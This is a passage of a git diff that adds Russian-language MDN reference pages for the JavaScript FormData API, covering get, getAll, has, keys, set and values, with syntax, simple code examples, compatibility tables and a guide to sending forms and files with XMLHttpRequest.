+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести исправления, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.FormData.get")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html
new file mode 100644
index 0000000000..24e12c408b
--- /dev/null
+++ b/files/ru/web/api/formdata/getall/index.html
@@ -0,0 +1,145 @@
+---
+title: FormData.getAll()
+slug: Web/API/FormData/getAll
+translation_of: Web/API/FormData/getAll
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>getAll()</strong></code> - метод объекта {{domxref("FormData")}}, который возвращает все значения, связанные с ключом в объекте FormData.</p>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>Заметка</strong></span>: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">formData.getAll(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Строка формата {{domxref("USVString")}}, задающая имя ключа.</dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Массив значений типа {{domxref("FormDataEntryValue")}}, привязанных к ключу, переданному в параметре <code>name</code>. Если переданный ключ не существует, метод вернёт пустой массив.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Эта строка создаст пустой объект FormData:</p>
+
+<pre class="brush: js notranslate">var formData = new FormData();</pre>
+
+<p>Можем добавить два <code>username</code> при помощи {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js notranslate">formData.append('username', 'Борис');
+formData.append('username', 'Кирилл');</pre>
+
+<p>Тогда метод <code>getAll()</code> вернёт оба значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font> в виде массива:</p>
+
+<pre class="brush: js notranslate">formData.getAll('username'); // Вернет ["Борис", "Кирилл"]</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/has/index.html b/files/ru/web/api/formdata/has/index.html
new file mode 100644
index 0000000000..a682e158ba
--- /dev/null
+++ b/files/ru/web/api/formdata/has/index.html
@@ -0,0 +1,73 @@
+---
+title: FormData.has()
+slug: Web/API/FormData/has
+translation_of: Web/API/FormData/has
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>has()</strong></code> из интерфейса {{domxref("FormData")}} возвращает логическое значение, указывающее, содержит ли объект <code>FormData</code> указанный ключ.</p>
+
+<div class="note">
+<p>Примечание: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>{{domxref("USVString")}} представляет собой имя ключа, которое вы хотите проверить.</dd>
+</dl>
+
+<h3 class="highlight-spanned" id="Возвращаемое_значение"><span class="highlight-span">Возвращаемое значение</span></h3>
+
+<p>{{domxref("Boolean")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создаёт пустой объект <code>FormData</code>:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>В следующем коде показаны результаты проверки существования  <code>username</code> в объекте <code>FormData</code>, до и после добавления значения <code>username</code> в {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.FormData.has")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объекта FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/index.html b/files/ru/web/api/formdata/index.html
new file mode 100644
index 0000000000..35ea12c24a
--- /dev/null
+++ b/files/ru/web/api/formdata/index.html
@@ -0,0 +1,80 @@
+---
+title: FormData
+slug: Web/API/FormData
+tags:
+  - API
+  - FormData
+  - Interface
+  - Reference
+  - XMLHttpRequest
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>XMLHttpRequest 2 добавляет поддержку для нового интерфейса FormData. Объекты FormData позволяют вам легко конструировать наборы пар ключ-значение, представляющие поля формы и их значения, которые в дальнейшем можно отправить с помощью метода <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>.</p>
+
+<p>FormData использует такой же формат на выходе, как если бы мы отправляли обыкновенную форму с encoding установленным в "multipart/form-data".</p>
+
+<div class="note">
+<p><strong>Важно</strong>: О деталях использования FormData можно прочитать в статье <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объекта FormData</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>Создаёт объект <code>FormData</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append")}}</dt>
+ <dd>Добавляет новое значение существующего поля объекта <code style="font-style: normal;">FormData</code>, либо создаёт его и присваивает значение.</dd>
+ <dt>{{domxref("FormData.delete")}}</dt>
+ <dd>Удаляет пару ключ-значение из объекта <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.get")}}</dt>
+ <dd>Возвращает первое значение ассоциированное с переданным ключом из объекта <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.getAll")}}</dt>
+ <dd>Возвращает массив всех значений ассоциированных с переданным ключом из объекта <code style="font-style: normal;">FormData</code>.</dd>
+ <dt>{{domxref("FormData.has")}}</dt>
+ <dd>Возвращает булево значение касательно наличия в объекте <span style="font-family: consolas,monaco,andale mono,monospace;">FormData</span>  конкретной пары ключ-значение.</dd>
+ <dt>{{domxref("FormData.set")}}</dt>
+ <dd>Устанавливает новое значение для существующего ключа объекта <span style="font-family: consolas,monaco,andale mono,monospace;">FormData</span>, или добавляет пару ключ-значение, если таковой не обнаружено в объекте.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Важно</strong>: Разница между {{domxref("FormData.set()")}} и {{domxref("FormData.append()")}} заключается в том, что если указанный ключ найден в объекте, {{domxref("FormData.set()")}} перезапишет его новым значением, тогда как {{domxref("FormData.append()")}} добавит новое значение в конец существующего. Смотрите дополнительные материалы с примерами. </p>
+</div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>FormData определен в XHR spec</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на слияние.</div>
+
+<p>{{Compat("api.FormData")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объектов FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/keys/index.html b/files/ru/web/api/formdata/keys/index.html
new file mode 100644
index 0000000000..164b2b7a04
--- /dev/null
+++ b/files/ru/web/api/formdata/keys/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.keys()
+slug: Web/API/FormData/keys
+translation_of: Web/API/FormData/keys
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.keys()</strong></code> метод возвращает {{jsxref("Iteration_protocols",'iterator')}} позволяя пройтись по всем ключам содержащимся в этом объекте. Ключи являются {{domxref("USVString")}} объектами.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">formData.keys();</pre>
+
+<h3 class="highlight-spanned" id="Возвращаемые_значения"><span class="highlight-span">Возвращаемые значения</span></h3>
+
+<p>Возвращает {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+   console.log(key);
+}
+</pre>
+
+<p>Результат:</p>
+
+<pre>key1
+key2</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.FormData.keys")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование объектов FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/set/index.html b/files/ru/web/api/formdata/set/index.html
new file mode 100644
index 0000000000..e07505b0f1
--- /dev/null
+++ b/files/ru/web/api/formdata/set/index.html
@@ -0,0 +1,77 @@
+---
+title: FormData.set()
+slug: Web/API/FormData/set
+translation_of: Web/API/FormData/set
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод set() из интерфейса {{domxref("FormData")}} присваивает новое значение существующему ключу внутри объекта <code>FormData </code>, или добавляет ключ/значение если до этого они не были установлены.</p>
+
+<p>Разница между <code>set()</code> и {{domxref("FormData.append")}} в том, что если заданный ключ уже существует, <code>set()</code> заменит данные в нем на новые, а {{domxref("FormData.append")}}  добавит новое значение к остальным в конец.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Данный метод также доступен в <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Существует две формы использования данной функции: с двумя и тремя параметрами:</p>
+
+<pre class="brush: js">formData.set(name, value);
+formData.set(name, value, filename);</pre>
+
+<h4 id="append_Parameters" name="append()_Parameters">Параметры</h4>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя поля, которому будет присвоен value.</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение, присваиваемое полю. В варианте с двумя параметрами, это <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, если нет, то оно будет конвертировано. В варианте с тремя параметрами это может быть <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a>, <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a>, или <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>Имя файла, которое будет отправлено серверу (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>), когда <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a> прошел проверку как второй параметр. Стандартное имя файла для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> объектов это "blob".</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если вы укажете <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> в качестве данных для включения в объект <code>FormData</code>, имя файла будет указано для сервера в заголовке "Content-Disposition" и может отличаться от браузера к браузеру.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создает пустой <code>FormData</code> объект:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Сейчас пустой</pre>
+
+<p>Вы можете установить для него пару ключ/значение, используя {{domxref("FormData.set")}}:</p>
+
+<pre class="brush: js">formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("api.FormData.set")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/using_formdata_objects/index.html b/files/ru/web/api/formdata/using_formdata_objects/index.html
new file mode 100644
index 0000000000..0e2b1312ec
--- /dev/null
+++ b/files/ru/web/api/formdata/using_formdata_objects/index.html
@@ -0,0 +1,141 @@
+---
+title: Использование Объектов FormData
+slug: Web/API/FormData/Using_FormData_Objects
+translation_of: Web/API/FormData/Using_FormData_Objects
+---
+<p class="summary">Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> позволяет создать набор пар ключ/значение и передать их, используя <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</code> Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом <code>{{domxref("HTMLFormElement.submit","submit()")}}</code> формы, с установленной кодировкой <code>enctype="multipart/form-data"</code>.</p>
+
+<h2 id="Создание_объекта_FormData">Создание объекта FormData</h2>
+
+<p>Вы можете самостоятельно создать пустой объект <code>FormData</code>, наполнив его затем данными, используя его метод {<code>{domxref("FormData.append","append()")}}:</code></p>
+
+<pre class="brush: js">var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // число 123456 немедленно преобразуется в строку "123456"
+
+// Файл, выбранный пользователем
+formData.append("userfile", fileInputElement.files[0]);
+
+// JavaScript Blob объект
+var content = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'; // содержимое нового файла...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+</pre>
+
+<div class="note"><strong>Примечание:</strong>  Поля "userfile" и "webmasterfile" оба содержат файлы. Число, переданное полю "accountnum" немедленно преобразуется в строку. Преобразование осуществляется методом <code><a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()">FormData.append()</a></code> (Значение поля может быть {{ domxref("Blob") }}, {{ domxref("File") }}, или строкой: <strong>если значение не является ни Blob, ни File, то оно автоматически преобразуется в строку).</strong></div>
+
+<p>Данный пример показывает создание экземпляра <code>FormData</code>, содержащего поля "username", "accountnum", "userfile" и "webmasterfile". Экземпляр <code>FormData</code> затем отправляется при помощи метода <code><a href="/en/DOM/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()">send()</a></code> объекта <code>XMLHttpRequest</code>. Поле "webmasterfile" является экземпляром класса <code>{{domxref("Blob")}}</code>. Объект класса <code>Blob</code> является файло-подобным объектом, содержащим "сырые" данные. Определение данных как <code>Blob</code> не является обязательным в нативном javascript. Интерфейс<code> {{ domxref("File") }} </code>базируется на <code>Blob</code>, наследуя его функциональность и расширяя его для поддержки файлов в ОС пользователя. Для создания объектов класса <code>Blob</code> используйте <code>{{domxref("Blob.Blob","Blob() constructor")}}</code>.</p>
+
+<h2 id="Получение_объекта_FormData_из_HTML_формы">Получение объекта FormData из HTML формы</h2>
+
+<p>Для создания объекта <code>FormDatа</code>, содержащего данные существующей формы<code> ({{ HTMLElement("form") }}</code>) передайте форму в качестве аргумента при создании объекта <code>FormData:</code></p>
+
+<div class="note">
+<p><strong>Примечание: </strong>FormData будет использовать только те поля ввода, которые используют атрибут name.</p>
+</div>
+
+<pre class="brush: js">var formData = new FormData(someFormElement);
+</pre>
+
+<p>Например:</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+</pre>
+
+<p>Вы так же можете добавить дополнительные данные в объект <code>FormData </code>после его создания и до отправки данных:</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);</pre>
+
+<p>Такой приём позволяет включать в форму дополнительную информацию, которая, например, не нуждается в демонстрации пользователю.</p>
+
+<h2 id="Отправка_файлов_при_помощи_объекта_FormData">Отправка файлов при помощи объекта FormData</h2>
+
+<p>Вы так же можете отправлять файлы при помощи <code>FormData. </code>Просто включите <code>{{ HTMLElement("input") }}</code> с типом <code>file </code>в форму.</p>
+
+<pre class="brush: html">&lt;form enctype="multipart/form-data" method="post" name="fileinfo"&gt;
+  &lt;label&gt;Your email address:&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /&gt;&lt;br /&gt;
+  &lt;label&gt;Custom file label:&lt;/label&gt;
+  &lt;input type="text" name="filelabel" size="12" maxlength="32" /&gt;&lt;br /&gt;
+  &lt;label&gt;File to stash:&lt;/label&gt;
+  &lt;input type="file" name="file" required /&gt;
+  &lt;input type="submit" value="Stash the file!" /&gt;
+&lt;/form&gt;
+&lt;div&gt;&lt;/div&gt;
+</pre>
+
+<p>Затем вы сможете отправить выбранный файл следующим образом:</p>
+
+<pre class="brush: js">var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred when trying to upload your file.&lt;br \/&gt;";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Если для формы указан атрибут <code>method</code>, то будет использован именно этот метод для отправки данных на сервер, а не метод, указанный в вызове <code>open()</code></p>
+</div>
+
+<p>Вы так же можете добавить <code>{{ domxref("File") }}</code> или <code>{{ domxref("Blob") }}</code> непосредственно к объекту <code>{{ domxref("FormData") }}:</code></p>
+
+<pre class="brush: js">data.append("myfile", myBlob, "filename.txt");
+</pre>
+
+<p>Метод<code> {{domxref("FormData.append","append()")}} </code>принимает 3й опциональный параметр - название файла, которое добавляется в заголовок <code>Content-Disposition </code>при отправке на сервер. Если название файла не указано (или данный параметр не поддерживается) используется имя "blob".</p>
+
+<p>Вы так же можете использовать <code>FormData</code> с jQuery:</p>
+
+<pre class="brush: js">var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // Сообщить jQuery не передавать эти данные
+  contentType: false   // Сообщить jQuery не передавать тип контента
+});
+</pre>
+
+<h2 id="Отправка_форм_и_файлов_при_помощи_AJAX_без_использования_объекта_FormData">Отправка форм и файлов при помощи AJAX <em>без использования</em> объекта <code>FormData</code></h2>
+
+<p>Если вы заинтересованы в отправке форм и файлов при помощи <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a> <em>без использования</em> FormData, прочитайте <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="данную статью">/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("Blob")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/ru/web/api/formdata/values/index.html b/files/ru/web/api/formdata/values/index.html
new file mode 100644
index 0000000000..55026a018f
--- /dev/null
+++ b/files/ru/web/api/formdata/values/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.values()
+slug: Web/API/FormData/values
+translation_of: Web/API/FormData/values
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>The <code><strong>FormData.values()</strong></code> метод возвращает {{jsxref("Iteration_protocols",'iterator')}} позволяя пройтись по всем значениям в этом объекте. Значения - это {{domxref("USVString")}} или {{domxref("Blob")}} объекты.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">formData.values();</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Возвращает {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+   console.log(value);
+}
+</pre>
+
+<p>Результат:</p>
+
+<pre>value1
+value2</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
